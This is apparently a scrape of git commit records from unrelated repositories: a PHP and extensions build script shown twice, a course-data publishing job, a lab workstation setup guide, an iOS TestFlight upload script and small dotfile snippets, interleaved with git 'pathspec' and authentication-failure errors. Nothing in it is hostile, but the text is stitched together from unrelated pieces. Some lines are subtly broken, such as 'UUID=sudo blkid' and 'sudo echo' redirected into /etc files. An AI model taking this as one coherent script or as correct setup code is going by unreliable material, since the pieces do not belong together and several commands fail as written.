#!/bin/bash

NUMBER=$((1))

for	file in `ls -S $1`
do
	echo $1/$file
	if [ -x $1/$file ]
	then
		echo Renaming $file to $file.$NUMBER
		mv $1/$file $1/$file.$NUMBER
		NUMBER=$(($NUMBER + 1))
	fi
done

error: pathspec 'script_4.sh' did not match any file(s) known to git


Compile openssl

Compile openssl

# If you add some configuration command, add the dependencies here
apt-get update
apt-get -y dist-upgrade
apt-get install -y libicu-dev libmcrypt-dev libssl-dev libcurl4-openssl-dev libbz2-dev libxml2-dev libpng-dev libjpeg-dev libedit-dev libgmp-dev openssl bc libbison-dev bison build-essential git-core vim curl pkg-config libgmp-dev autoconf libopus-dev libreadline-dev libncurses5-dev

if [ -d php-script-stuff/ ]; then
    rm -rf php-script-stuff
fi
mkdir php-script-stuff
cd php-script-stuff
if [ -d php-src/ ]; then
    rm -rf php-src/
fi
git clone https://github.com/php/php-src.git php-src
cd php-src
git checkout PHP-7.1.7

./buildconf --force

PHP_TIMEZONE="UTC"

PHP_DIRECTORY="/etc/php7ts"

./configure --prefix=$PHP_DIRECTORY --with-config-file-path=$PHP_DIRECTORY --with-config-file-scan-dir=$PHP_DIRECTORY/conf.d --enable-maintainer-zts --with-curl --with-openssl --with-gd --enable-gd-native-ttf --enable-intl --enable-mbstring --with-mcrypt --with-mysqli=mysqlnd --with-zlib --with-bz2 --enable-exif --with-pdo-mysql=mysqlnd --with-libedit --enable-zip --enable-pdo --enable-pcntl --enable-sockets --enable-mbregex --with-tsrm-pthreads --enable-bcmath --enable-fpm --with-xml --enable-xml --with-fpm-group=pwrtelegram --with-fpm-user=pwrtelegram --enable-ctype --with-gmp

make -j 16
make install
cp -a /etc/php7ts/* /usr/

if [ -d ../pthreads/ ]; then
    rm -rf ../pthreads
fi
git clone https://github.com/SirSnyder/pthreads -b feature/nested_volatiles ../pthreads
cd ../pthreads
phpize
./configure --with-php-config=$PHP_DIRECTORY/bin/php-config
make -j16
make install

if [ -d ../PHP-CPP/ ]; then
    rm -rf ../PHP-CPP
fi

git clone https://github.com/CopernicaMarketingSoftware/PHP-CPP ../PHP-CPP
cd ../PHP-CPP
make -j16
make install

if [ -d ../PrimeModule-ext/ ]; then
    rm -rf ../PrimeModule-ext
fi

git clone https://github.com/danog/PrimeModule-ext ../PrimeModule-ext
cd ../PrimeModule-ext
make -j16
make install

git clone https://github.com/openssl/openssl ../openssl
cd ../openssl
git checkout OpenSSL_1_0_2-stable
CFLAGS=-fPIC ./config shared --prefix=/usr/local/ssl && make -j16 all && make install_sw

git clone --recursive https://github.com/danog/php-libtgvoip ../php-libtgvoip
cd ../php-libtgvoip
make -j16
make install

cd ..

LUA_DOWNLOAD_URL=http://www.lua.org/ftp/
LUA_VERSION=5.2.1
LUA_GET_URL=${LUA_DOWNLOAD_URL}lua-${LUA_VERSION}.tar.gz
PHP_LUA_DOWNLOAD_URL=http://pecl.php.net/get/lua-2.0.3.tgz
PHP_VERSION=$(php-config --phpapi)

wget $LUA_GET_URL $PHP_LUA_DOWNLOAD_URL
tar -xf lua-${LUA_VERSION}.tar.gz
tar -xf lua-2.0.3.tgz

cd lua-${LUA_VERSION}
sed -i 's/CFLAGS= -O2/CFLAGS= -fPIC -O2/g' src/Makefile
make linux test
make linux install
cd ..

cd lua-2.0.3
phpize
autoreconf -f -i
./configure --with-lua=/usr/local
make
make install

cd ../..
rm -rf php-script-stuff

# If you add some configuration command, add the dependencies here
apt-get update
apt-get -y dist-upgrade
apt-get install -y libicu-dev libmcrypt-dev libssl-dev libcurl4-openssl-dev libbz2-dev libxml2-dev libpng-dev libjpeg-dev libedit-dev libgmp-dev openssl bc libbison-dev bison build-essential git-core vim curl pkg-config libgmp-dev autoconf libopus-dev libreadline-dev libncurses5-dev

if [ -d php-script-stuff/ ]; then
    rm -rf php-script-stuff
fi
mkdir php-script-stuff
cd php-script-stuff
if [ -d php-src/ ]; then
    rm -rf php-src/
fi
git clone https://github.com/php/php-src.git php-src
cd php-src
git checkout PHP-7.1.7

./buildconf --force

PHP_TIMEZONE="UTC"

PHP_DIRECTORY="/etc/php7ts"

./configure --prefix=$PHP_DIRECTORY --with-config-file-path=$PHP_DIRECTORY --with-config-file-scan-dir=$PHP_DIRECTORY/conf.d --enable-maintainer-zts --with-curl --with-openssl --with-gd --enable-gd-native-ttf --enable-intl --enable-mbstring --with-mcrypt --with-mysqli=mysqlnd --with-zlib --with-bz2 --enable-exif --with-pdo-mysql=mysqlnd --with-libedit --enable-zip --enable-pdo --enable-pcntl --enable-sockets --enable-mbregex --with-tsrm-pthreads --enable-bcmath --enable-fpm --with-xml --enable-xml --with-fpm-group=pwrtelegram --with-fpm-user=pwrtelegram --enable-ctype --with-gmp

make -j 16
make install
cp -a /etc/php7ts/* /usr/

if [ -d ../pthreads/ ]; then
    rm -rf ../pthreads
fi
git clone https://github.com/SirSnyder/pthreads -b feature/nested_volatiles ../pthreads
cd ../pthreads
phpize
./configure --with-php-config=$PHP_DIRECTORY/bin/php-config
make -j16
make install

if [ -d ../PHP-CPP/ ]; then
    rm -rf ../PHP-CPP
fi

git clone https://github.com/CopernicaMarketingSoftware/PHP-CPP ../PHP-CPP
cd ../PHP-CPP
make -j16
make install

if [ -d ../PrimeModule-ext/ ]; then
    rm -rf ../PrimeModule-ext
fi

git clone https://github.com/danog/PrimeModule-ext ../PrimeModule-ext
cd ../PrimeModule-ext
make -j16
make install

git clone --recursive https://github.com/danog/php-libtgvoip ../php-libtgvoip
cd ../php-libtgvoip
make -j16
make install

cd ..

LUA_DOWNLOAD_URL=http://www.lua.org/ftp/
LUA_VERSION=5.2.1
LUA_GET_URL=${LUA_DOWNLOAD_URL}lua-${LUA_VERSION}.tar.gz
PHP_LUA_DOWNLOAD_URL=http://pecl.php.net/get/lua-2.0.3.tgz
PHP_VERSION=$(php-config --phpapi)

wget $LUA_GET_URL $PHP_LUA_DOWNLOAD_URL
tar -xf lua-${LUA_VERSION}.tar.gz
tar -xf lua-2.0.3.tgz

cd lua-${LUA_VERSION}
sed -i 's/CFLAGS= -O2/CFLAGS= -fPIC -O2/g' src/Makefile
make linux test
make linux install
cd ..

cd lua-2.0.3
phpize
autoreconf -f -i
./configure --with-lua=/usr/local
make
make install

cd ../..
rm -rf php-script-stuff


add run.sh script

add run.sh script

sudo activator -Dspark.executor.memory=12g -J-Xmx16g "run 80"

error: pathspec 'run.sh' did not match any file(s) known to git


fix errors

fix errors

remote: Support for password authentication was removed on August 13, 2021.
remote: Please see https://docs.github.com/en/get-started/getting-started-with-git/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.
fatal: Authentication failed for 'https://github.com/wercker/step-screenshot.git/'


add initial run.sh

add initial run.sh

#!/bin/bash

# prepare bash
set -ve

# prepare the repositories
git clone https://github.com/stodevx/course-data.git
git clone https://github.com/stodevx/course-data-tools.git
cd course-data

# update course data files
python3 ../course-data-tools/download.py "$YEARS"
python3 ../course-data-tools/maintain-datafiles.py "$YEARS"
git add .
git commit -m "update course data for $DATE"
git push origin master

# update bundled information for public consumption
git branch -d gh-pages
git checkout --orphan gh-pages
python3 ../course-data-tools/bundle.py --out ./ --format json,xml,csv

# remove the source files
git rm -rf courses/ details/ raw_xml/
git add .
git commit -m 'course data bundles'
git push -f origin gh-pages


Minor updates to the help message printed by build_ios_libs.sh (with -h)

BUG=None
NOTRY=True

Review-Url: https://codereview.webrtc.org/2654083003
Cr-Original-Commit-Position: 972c6d2dc6dd5efdad1377c0d224e03eb8f276f7@{#16276}
Cr-Mirrored-From: https://chromium.googlesource.com/external/webrtc
Cr-Mirrored-Commit: 2d8cd58c55b10b2873e7ab5af073184b11fde6ba

remote: Support for password authentication was removed on August 13, 2021.
remote: Please see https://docs.github.com/en/get-started/getting-started-with-git/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.
fatal: Authentication failed for 'https://github.com/Alkalyne/webrtctrunk.git/'


first commit

first commit

#! /bin/bash
## Commands to be run when setting up a fresh system. Installs Intel MKL
## and builds NumPy, SciPy, numexpr, and Julia with MKL backend.
## Installs mne-python with CUDA support. Installs HDF5, PyTables,
## scikit-learn, scikits.cuda, pandas, tdtpy, pyglet, expyfun, R,
## and spyder. Includes notes on setup of freesurfer, MATLAB, and SSH.
## NOTE: commands indented and marked with ## TODO ## should not be run
## directly; they need editing or require some interaction on your part.

## ## ## ## ## ## ##
## GENERAL SETUP  ##
## ## ## ## ## ## ##
## Prerequisites for MKL, NumPy, SciPy, mne-python, PyTables, svgutils
sudo apt-get update
sudo apt-get install default-jre build-essential git-core cython \
cython3 python-nose python3-nose python-coverage python3-coverage \
python-setuptools python3-setuptools python-pycuda python3-pycuda \
python-pip python3-pip cmake bzip2 liblzo2-2 liblzo2-dev zlib1g \
zlib1g-dev libfreetype6-dev libpng-dev libxml2-dev libxslt1-dev

## Create a directory to house your custom builds. Rename if desired.
builddir=~/Builds
mkdir $builddir

## ## ## ## ## ##
##  INTEL MKL  ##
## ## ## ## ## ##
	## TODO ##
	## download Intel parallel studio and unzip.
	## you really only need the MKL, C++, and Fortran compilers, but
	## install the whole studio if you like. If you have problems,
	## Google "NumPy/SciPy with Intel MKL" to find Intel's guide. Pay
	## special attention to setting the environment variables correctly.
	cd /PATH/TO/UNPACKED/MKL/INSTALLER
sh install_GUI.sh
## do some GUI stuff...
## Now make sure the system can find MKL. Assuming you installed to
## /opt/intel (the default):
sudo echo "/opt/intel/mkl/lib/intel64" >> /etc/ld.so.conf.d/intel-mkl.conf
sudo echo "/opt/intel/lib/intel64" >> /etc/ld.so.conf.d/intel-mkl.conf
echo "source /opt/intel/bin/compilervars.sh intel64" >> ~/.bashrc
sudo ldconfig
## refresh the .bashrc file to get the MKL environment variables set
source ~/.bashrc

## ## ## ## ##
## OPEN MPI ##
## ## ## ## ##
	## TODO ##
	## NOTE: at present (2014 August) PyTables cannot use parallelized
	## versions of HDF5, so MPI is not really necessary. These
	## instructions are left here in case that changes in the future.
	## Download source from http://www.open-mpi.org/ and unzip.
	## Google "build mpi with intel compiler" for instructions.
	# cd /PATH/TO/UNPACKED/OPENMPI/INSTALLER
	# ./configure --prefix=/usr/local CC=icc CXX=icpc FC=ifort
	# make -j 6 all
	# sudo bash
	# make install
	## NOTE: the "sudo bash; make install" lines are equivalent to
	## "sudo make install", except this way the ~/.bashrc file gets
	## loaded first (which is not normally the case with sudo commands).
	## That way, the intel compiler dirs are on the path during install.

## ## ## ##
## HDF5  ##
## ## ## ##
## NOTE: In general you should not try to compile HDF5 from source.
## Both serial and parallel versions of HDF5 binaries are available
## through standard Ubuntu repositories.  At present (2014 August)
## PyTables cannot use parallelized versions of HDF5, so just install
## the serial versions:
sudo apt-get install libhdf5-7 libhdf5-dev
## If in the future parallelized versions become usable by PyTables,
## here are the binaries:
## Parallel MPICH version:
# sudo apt-get install libhdf5-mpich2-7 libhdf5-mpich2-dev
## Parallel OPENMPI version:
# sudo apt-get install libhdf5-openmpi-7 libhdf5-openmpi-dev
## If you really do need to build HDF5 from source:
# cd /opt
# mkdir hdf5
## NOTE: following three lines may not be the most current version:
# wget http://www.hdfgroup.org/ftp/HDF5/current/src/hdf5-1.8.13.tar.gz
# tar -zxf hdf5-1.8.13.tar.gz
# cd hdf5-1.8.13
## OPTION 1: compile serial HDF5 with intel compilers
# export CC=icc
# export F9X=ifort
# export CXX=icpc
# ./configure --prefix=/opt/hdf5 --enable-fortran --enable-cxx --disable-static
## OPTION 2: compile parallel HDF5 using MPI
# export CC=mpicc
# ./configure --prefix=/opt/hdf5 --disable-static
## EITHER OPTION:
# make -j -l6
# make check
# make install
# make check-install
# cd /opt
# rm -Rf ./hdf5-1.8.13

## ## ## ##
## NUMPY ##
## ## ## ##
cd $builddir
git clone git://github.com/numpy/numpy.git
cd numpy
## generate site.cfg
echo [mkl] >> site.cfg
echo library_dirs = /opt/intel/mkl/lib/intel64 >> site.cfg
echo include_dirs = /opt/intel/mkl/include >> site.cfg
echo mkl_libs = mkl_rt >> site.cfg
echo lapack_libs =   >> site.cfg
## if rebuilding:
# rm -Rf build
python2 setup.py clean
python2 setup.py config --compiler=intelem build_clib --compiler=intelem build_ext --compiler=intelem install --user
python3 setup.py clean
python3 setup.py config --compiler=intelem build_clib --compiler=intelem build_ext --compiler=intelem install --user

## ## ## ## ##
## NUMEXPR  ##
## ## ## ## ##
cd $builddir
git clone git@github.com:pydata/numexpr.git
cd numexpr
## generate site.cfg (uses the same format as NumPy)
echo [mkl] >> site.cfg
echo library_dirs = /opt/intel/mkl/lib/intel64 >> site.cfg
echo include_dirs = /opt/intel/mkl/include >> site.cfg
echo mkl_libs = mkl_rt >> site.cfg
echo lapack_libs =   >> site.cfg
## if rebuilding:
# rm -Rf build
python2 setup.py build
python2 setup.py install --user
cd; python2 -c "import numexpr; numexpr.test()"
## NOTE: the test() line above fails if run within $builddir/numexpr,
## hence the cd to $HOME first
cd $builddir/numexpr
rm -Rf build
python3 setup.py build
python3 setup.py install --user
cd; python3 -c "import numexpr; numexpr.test()"

## ## ## ## ##
## PYTABLES ##
## ## ## ## ##
cd $builddir
git clone git@github.com:PyTables/PyTables.git
cd PyTables
## if rebuilding:
# make clean
python2 setup.py build_ext --inplace
python2 setup.py install --user
cd; python2 -c "import tables; tables.test()"
cd $builddir/PyTables
make clean
python3 setup.py build_ext --inplace
python3 setup.py install --user
cd; python3 -c "import tables; tables.test()"

## ## ## ##
## SCIPY ##
## ## ## ##
cd $builddir
git clone git://github.com/scipy/scipy.git
cd scipy
python2 setup.py clean
python2 setup.py config --compiler=intelem --fcompiler=intelem build_clib --compiler=intelem --fcompiler=intelem build_ext --compiler=intelem --fcompiler=intelem install --user
python3 setup.py clean
python3 setup.py config --compiler=intelem --fcompiler=intelem build_clib --compiler=intelem --fcompiler=intelem build_ext --compiler=intelem --fcompiler=intelem install --user
## Those SciPy compilations will take a while, go get a cup of coffee.

## ## ## ## ## ## ## ## ## ## ## ## ## ## ## ## ## ## ## ##
## MATPLOTLIB, SCIKIT-LEARN, PANDAS, SCIKITS.CUDA, TDTPY ##
## ## ## ## ## ## ## ## ## ## ## ## ## ## ## ## ## ## ## ##
cd $builddir
## MATPLOTLIB: best-of-breed for scientific plotting in python
## SCIKIT-LEARN: machine learning algorithms in python
## PANDAS: Python data analysis library (similar to numpy record arrays)
## SCIKITS.CUDA: SciPy toolkit interface to NVIDIA's CUDA libraries
## TDTPY:  Python wrappers for TDT's Active-X interface
git clone git://github.com/matplotlib/matplotlib.git
git clone git://github.com/scikit-learn/scikit-learn.git
git clone git://github.com/pydata/pandas.git
git clone git://github.com/lebedov/scikits.cuda.git
hg clone https://bitbucket.org/bburan/tdtpy
for name in matplotlib scikit-learn pandas scikits.cuda tdtpy; do
	cd $builddir/$name
	## TODO: check whether all these can be done with both py2 & py3
	python setup.py install --user
done

## ## ## ## ## ## ## ## ## ## ## ## ## ## ## ## ## ## ## ## ## ##
## SEABORN (data visualization package built atop matplotlib)  ##
## ## ## ## ## ## ## ## ## ## ## ## ## ## ## ## ## ## ## ## ## ##
pip install --user patsy statsmodels seaborn
## or for the development version of seaborn:
# cd $builddir
# git clone git@github.com:mwaskom/seaborn.git
# cd seaborn
# pip install --user .
## this might also work instead of the "pip" line:
# python setup.py develop --user

## ## ## ## ## ## ## ## ## ## ## ## ## ## ## ## ##
##  IMAGE PROCESSING / FIGURE CREATION HELPERS  ##
## ## ## ## ## ## ## ## ## ## ## ## ## ## ## ## ##
sudo apt-get install inkscape gimp libmagickwand-dev
pip install --user tinycss cssselect cairocffi cairosvg svgutils
## If you're likely to hack on it, svgutils can also be installed via:
# cd $builddir
# git clone git@github.com:btel/svg_utils.git
# cd svg_utils
# python setup.py install --user

## ## ## ## ##
##  SPYDER  ##
## ## ## ## ##
## (get repo version first to get icon set, menu integration, etc, then
## install tip)
pip install --user rope flake8 sphinx pylint
sudo apt-get install spyder
cd $builddir
hg clone https://spyderlib.googlecode.com/hg/ spyderlib
cd spyderlib
python2 setup.py install --user
## to update spyder:
# cd $builddir/spyder
# hg pull --update
# python setup.py install --user
## If you want to run python3 inside the Spyder console, it is
## recommended to install a python3 version of Spyder (invoke as
## "spyder3"; it can coexist peacefully with a py2 Spyder install):
sudo apt-get install python3-sip python3-pyqt4
pip3 install --user rope_py3k flake8 sphinx pylint
cd $builddir/spyderlib
python3 setup.py install --user

## ## ## ## ##
## EXPYFUN  ##
## ## ## ## ##
## Prerequisites:
pip install --user --upgrade http://pyglet.googlecode.com/archive/tip.zip
pip install --user joblib

## most people will want a typical installation like this:
cd $builddir
git clone git@github.com/LABSN/expyfun.git
cd expyfun
python setup.py install --user
## if you're likely to help develop expyfun, do this instead:
## go to GitHub and fork LABSN/expyfun to your own git account. Then:
# cd $builddir
# git clone git@github.com/<INSERT_YOUR_GIT_USERNAME_HERE>/expyfun.git
# cd expyfun
# python setup.py develop --user
## add LABSN repo as "upstream" (another remote repo alongside "origin")
# git remote add upstream git@github.com/LABSN/expyfun.git

## ## ## ## ## ##
## MNE-PYTHON  ##
## ## ## ## ## ##
cd $builddir
git clone git://github.com/mne-tools/mne-python.git
cd mne-python
## could use "develop" instead of "install" (no compiled code in package):
python setup.py install --user
## set up mne-python to use CUDA. Note that "331" was the most current
## version at time of writing; check to see what is most appropriate for
## your system
sudo apt-get install nvidia-331-updates
sudo nvidia-xconfig
	## TODO ##
	## now reboot, then in python do:
	# import mne
	# mne.set_config('MNE_USE_CUDA', 'true')
	## set the proper stim channel number for our neuromag system
	# mne.set_config('MNE_STIM_CHANNEL', 'STI101')
	## test by closing python, reopening, and importing mne again

## ## ## ## ## ##
## FREESURFER  ##
## ## ## ## ## ##
	## TODO ##
	## there's a thorough install/setup tutorial on their website.
	## http://surfer.nmr.mgh.harvard.edu/fswiki/DownloadAndInstall
	## Probably the only prerequisite you won't already have is:
	sudo apt-get install tcsh

## ## ## ## ##
##  MATLAB  ##
## ## ## ## ##
	## TODO ##
	## Install MATLAB using download agent or ISO
	## TODO ##
	## Setup MATLAB license manager using the script on the lab wiki
	## TODO ##
	## Install psychtoolbox: see http://psychtoolbox.org/PsychtoolboxDownload

## ## ## ##
## JULIA ##
## ## ## ##
cd $builddir
git clone git@github.com:JuliaLang/julia.git
cd julia
source /opt/intel/mkl/bin/mklvars.sh intel64 ilp64
export MKL_INTERFACE_LAYER=ILP64
echo USE_MKL = 1 >> Make.user
## if you don't want multithreaded compilation just use "make":
make -j 6
make testall
echo export PATH="$(pwd):$PATH" >> ~/.bashrc

## ## ##
## R  ##
## ## ##
sudo apt-key adv --keyserver keyserver.ubuntu.com --recv-keys E084DAB9
	## TODO ##
	## update "trusty" on following line to match your release version:
	sudo echo "deb http://cran.r-project.org/bin/linux/ubuntu trusty/" >> /etc/apt/sources.list
sudo apt-get update
sudo apt-get install r-base r-base-dev
	## TODO ##
	## As of August 2014, Rstudio is not in the Ubuntu repos,
    ## so download the .deb from Rstudio website & install.
	## Some (probably) useful packages to install from within R:
	## install.packages(c('tidyr', 'devtools', 'ez', 'ggplot2',
	## 'Hmisc', 'lme4', 'plyr', 'reshape', 'stringi', 'zoo'))

## ## ## ## ## ##
## NETWORKING  ##
## ## ## ## ## ##
sudo apt-get install openssh-server
	## TODO ##
	## First make sure you're getting a static IP (check network
	## settings for eth0). For added security, change port number to
	## something other than 22 in /etc/ssh/sshd_config, then access via:
	# ssh -p 1234 <username>@<hostname>.ilabs.uw.edu
	## (where 1234 is the port you chose)

## RUNNING FIREFOX THROUGH AN SSH TUNNEL
## This sets up a pseudo-VPN for browser traffic only (useful if, e.g.,
## you're in a foreign country that blocks some websites). To avoid
## changing these settings back and forth all the time, first set up a
## new Firefox profile by running "firefox -P" on the command line.
## Create a new profile with a sensible name like "ssh" or "tunnel".
## Start Firefox with that profile, then go to:
## "Preferences > Advanced > Network > Settings" and choose "Manual
## Proxy Configuration". Set your SOCKS host to 127.0.0.1, port 8080,
## use SOCKS v5, and check the "Remote DNS" box. Now you can run:
# ssh -C2qTnN -D 8080 <name>@<hostname>
## ...before you launch Firefox, and all your browser traffic will be
## routed through your <hostname> computer and encrypted. Don't forget
## to add the flag "-p 1234" to the ssh command if you've configured
## ssh to listen on a non-default port (as recommended above). Note that
## the Firefox profile editor allows you to select a default profile, so
## that can be an easy way to switch settings for the duration of your
## journey abroad, then switch back upon returning home. If you need to
## switch back and forth between tunnel and no tunnel on a regular
## basis, you can set your normal Firefox profile as the default, then
## use the following command to invoke the tunneled version (assuming
## the name of your proxied profile is "sshtunnel"):
#ssh -C2qTnN -D 8080 <name>@<hostname> & tunnelpid=$! && sleep 3 && firefox -P sshtunnel && kill $tunnelpid
## this will capture the PID of the SSH tunnel instance, and kill it
## when Firefox closes normally (you'll need to close it manually if
## Firefox crashes or is force-quit).

## XRDP: remote desktop server
sudo apt-get install xrdp
## Setting up your machine as a VPN server is a pain.
## see instructions here if you must do it anyway:
## http://openvpn.net/index.php/open-source/documentation/howto.html
## these commands will get you started...
# sudo apt-get install openvpn bridge-utils easy-rsa
# sudo cp -r /usr/share/easy-rsa /etc/openvpn/
# sudo chown -R $USER /etc/openvpn/easy-rsa
	## TODO ##
	## now edit /etc/openvpn/easy-rsa/vars
	## in particular, set VPN port to 2345 (or whatever you want)
	# cd /etc/openvpn/easy-rsa
	# . ./vars
	# ./clean-all
	# ./build-ca
	# ./build-key-server
	# ./build-key-pass MyClientCPUName
	# ./build-dh
	## move client keys to client machine
	## set up VPN autostart

## ## ## ## ##
## FIREWALL ##
## ## ## ## ##
## NOTE: you don't strictly NEED to set up a firewall, as *NIX is pretty
## careful about what it allows in. This is especially true if you set
## SSH to reject password-based connections and only use preshared keys.
## Nonetheless, if you want to set up a strong firewall, this is a good
## starting point:
## (port numbers should match what you set for SSH and VPN above)
# sudo iptables -A INPUT -p tcp --dport 1234 -j ACCEPT  # incoming SSH
# sudo iptables -A INPUT -p tcp --sport 1234 -j ACCEPT  # outgoing SSH
# sudo iptables -A INPUT -p udp -m udp --dport 2345 -j ACCEPT  # incoming VPN
# sudo iptables -A INPUT -p tcp --dport 80 -j ACCEPT  # incoming web traffic
## probably will also need a line for the default HTTPS port (and
## possibly others). Google is your friend here. Finally, add a line to
## reject everything not explicitly allowed above. You will need to save
## changes (again, see Google for different ways to do this) otherwise
## the settings will only last for the current login session.

## ## ## ##
## RAID  ##
## ## ## ##
sudo apt-get install mdadm
	## TODO ##
    ## This is an example only. Customize to suit your system.
	## This will create a RAID level=1 (mirror) at /dev/md0 comprising
	## n=2 physical drives (sdc and sdd)
	sudo mdadm --create /dev/md0 -l 1 -n 2 /dev/sdc1 /dev/sdd1
	## If the RAID had already been built previously:
	# sudo mdadm --assemble /dev/md0 /dev/sdc1 /dev/sdd1
## automount at startup (edit MOUNTPT as desired):
MOUNTPT="/media/raid"
sudo mkdir $MOUNTPT
UUID=sudo blkid /dev/md0 | cut -d '"' -f2
sudo echo "UUID=$UUID $MOUNTPT ext4 defaults 0 0" >> /etc/fstab

error: pathspec 'LABSN_Linux_New_Computer_Setup.bash' did not match any file(s) known to git


Check d'import

Check d'import

#!/bin/bash

if ! test "$1"; then
    echo "Nom du dossier/de l'ODG";
    exit 1;
fi

ODG=$1

. bin/config_$ODG.inc

if test $ODG = "igp13"
then

    if test $(curl -s localhost:5984/openodg_import/_design/mouvement/_view/lot | grep "03_PRELEVE" | grep "DEGUSTATION-20210308" | wc -l) != 18
    then
        echo "IGP13;ERROR;La Dégustation 20-16 n'a pas 18 lots"
    fi

fi

error: pathspec 'project/bin/import_igp_check.sh' did not match any file(s) known to git


update message

update message

remote: Support for password authentication was removed on August 13, 2021.
remote: Please see https://docs.github.com/en/get-started/getting-started-with-git/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.
fatal: Authentication failed for 'https://github.com/Amber-MD/setup-scripts.git/'


initial commit

initial commit

#!/bin/sh

########################################################
#                                                      #
# Generic App build and Testflight Submission          #
# Author: Bruno Koga, October 2013                     #
#                                                      #
########################################################

# Arguments:
# -c                    Use CocoaPods
# -p PROJECT_NAME
# -s SCHEME_NAME
# -v VERSION
# -i ICON_PATH
# -n APP_NAME
# -t TESTFLIGHT_TEAM_TOKEN
# -a TESTFLIGHT_API_TOKEN
# -d TESTFLIGHT_DISTRIBUTION_LIST
# -r CERTIFICATE_NAME
# -f CONFIGURATION

USE_COCOA_PODS=NO
PROJECT_NAME=""
SCHEME_NAME=""
ICON_PATH=""
APP_NAME=""
TESTFLIGHT_TEAM_TOKEN=""
TESTFLIGHT_API_TOKEN=""
TESTFLIGHT_DISTRIBUTION_LIST=""
CERTIFICATE_NAME=""
CONFIGURATION=""

function test_args {
	if [[ $OPTARG = -* ]]; then
		echo "Invalid argument for -$opt: $OPTARG"
		exit 1
	fi
}

while getopts ":cp:s:f:i:n:t:a:d:r:" opt; do
	case $opt in
		c)
			USE_COCOA_PODS=YES
			;;
		p)
			test_args
			PROJECT_NAME=$OPTARG
			;;
		s)
			test_args
			SCHEME_NAME=$OPTARG
			;;
		i)
			test_args
			ICON_PATH=$OPTARG
			;;
		n)
			test_args
			APP_NAME=$OPTARG
			;;
		t)
			test_args
			TESTFLIGHT_TEAM_TOKEN=$OPTARG
			;;
		a)
			test_args
			TESTFLIGHT_API_TOKEN=$OPTARG
			;;
		d)
			test_args
			TESTFLIGHT_DISTRIBUTION_LIST=$OPTARG
			;;
		r)
			test_args
			CERTIFICATE_NAME=$OPTARG
			;;
		f)
			test_args
			CONFIGURATION=$OPTARG
			;;

		\?)
			echo "Invalid option: -$OPTARG" >&2
			;;
		:)
			echo "Option -$OPTARG requires an argument"
			;;
	esac
done

WORKSPACE_FILE=""
PROJECT_FILE=""
if [[ $USE_COCOA_PODS = YES ]]; then
	pod install
	WORKSPACE_FILE="${PROJECT_NAME}.xcworkspace"
else
	PROJECT_FILE="${PROJECT_NAME}.xcodeproj"
fi

# Workspace and build configuration
TARGET_SDK="iphoneos"								# Target SDK: iphoneos

BUILD_DIR="../build"                   	# Directory where the build is generated
BUILD_ARCHIVED_DIR="BuildArchived"					# Directory with the history of builds

#Release Notes
TESTFLIGHT_RELEASE_NOTES_FILE="ios_testflight-releasenotes"

# fix for the newest sdk
# Only export the environment variable if the location exists,
# otherwise it breaks the signing process!
if [ -f "/Developer/Platforms/iPhoneOS.platform/Developer/usr/bin/codesign_allocate" ]
then
	  echo Export environment variable for codesign_allocate location
	    export CODESIGN_ALLOCATE=/Developer/Platforms/iPhoneOS.platform/Developer/usr/bin/codesign_allocate
    fi

# Returns to the root directory` of the build
cd ..

PWD=`pwd`
PROJECT_BUILDDIR="${PWD}/build/${CONFIGURATION}-${TARGET_SDK}"

CURRENT_DIR="${PWD}/${TARGET_NAME}"

#changing the build version
INFO_PLIST_PATH="${CURRENT_DIR}/${PROJECT_NAME}/${PROJECT_NAME}-Info.plist"
/usr/libexec/PlistBuddy -c "Set :CFBundleVersion ${SVN_REVISION}" "$INFO_PLIST_PATH"

# compile project
echo Building Project
xcodebuild \
	-workspace "${WORKSPACE_FILE}" \
	-scheme "${SCHEME_NAME}" \
	-configuration "${CONFIGURATION}" \
	OBJROOT="${PWD}/build" \
	SYMROOT="${PWD}/build" \
	clean build

# .ipa file generation
echo Generating .ipa file

echo "${PROJECT_BUILDDIR}"
# change to the project build dir to archive
/usr/bin/xcrun -sdk "${TARGET_SDK}" PackageApplication -v "${PROJECT_BUILDDIR}/${APP_NAME}.app" -o "${PROJECT_BUILDDIR}/${APP_NAME}.ipa" --sign "${CERTIFICATE_NAME}"

#zipping the .dSYM to send to Testflight
echo Generating zip file
/usr/bin/zip -r "${PROJECT_BUILDDIR}/${APP_NAME}.app.dSYM.zip" "${PROJECT_BUILDDIR}/${APP_NAME}.app.dSYM"

# sends the .ipa file to TestFlight

echo Sending to TestFlight
curl http://testflightapp.com/api/builds.json -F file="@${PROJECT_BUILDDIR}/${APP_NAME}.ipa" \
	-F dsym="@${PROJECT_BUILDDIR}/${APP_NAME}.app.dSYM.zip" \
	-F api_token="${TESTFLIGHT_API_TOKEN}" \
	-F team_token="${TESTFLIGHT_TEAM_TOKEN}" \
	-F notes="This build was uploaded via the upload API" \
	-F notify=False \
	-F distribution_lists="${TESTFLIGHT_DISTRIBUTION_LIST}"
echo Submission ended

error: pathspec 'xcode-build-testflight.sh' did not match any file(s) known to git


nodejs postinstall script

nodejs postinstall script

#!/bin/bash
npm install -g yo grunt-cli bower gulp generator-jhipster

error: pathspec 'node-postinstall.sh' did not match any file(s) known to git


Add OpenShift autocompletion (#6049)

Add OpenShift autocompletion (#6049)

# Autocompletion for oc, the command line interface for OpenShift
#
# Author: https://github.com/kevinkirkup

if [ $commands[oc] ]; then
  source <(oc completion zsh)
fi

error: pathspec 'plugins/oc/oc.plugin.zsh' did not match any file(s) known to git


tweak some `defaults` settings on osx

tweak some `defaults` settings on osx

# Sets reasonable OS X defaults.
#
# Or, in other words, set shit how I like in OS X.
#
# The original idea (and a couple settings) were grabbed from:
#   https://github.com/mathiasbynens/dotfiles/blob/master/.osx
#
# Run ./set-defaults.sh and you'll be good to go.

# Disable press-and-hold for keys in favor of key repeat
defaults write -g ApplePressAndHoldEnabled -bool false

# Show the ~/Library folder
chflags nohidden ~/Library

error: pathspec 'osx/set-defaults.sh' did not match any file(s) known to git


emr debugging

emr debugging

remote: Support for password authentication was removed on August 13, 2021.
remote: Please see https://docs.github.com/en/get-started/getting-started-with-git/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.
fatal: Authentication failed for 'https://github.com/tms1337/fuzzy-classification.git/'


bb.org: pusher

bb.org: pusher

Signed-off-by: Robert Nelson <d6c41255011d14bfa93d8562b946ca186cfa0c7b@gmail.com>

#!/bin/sh -e
#
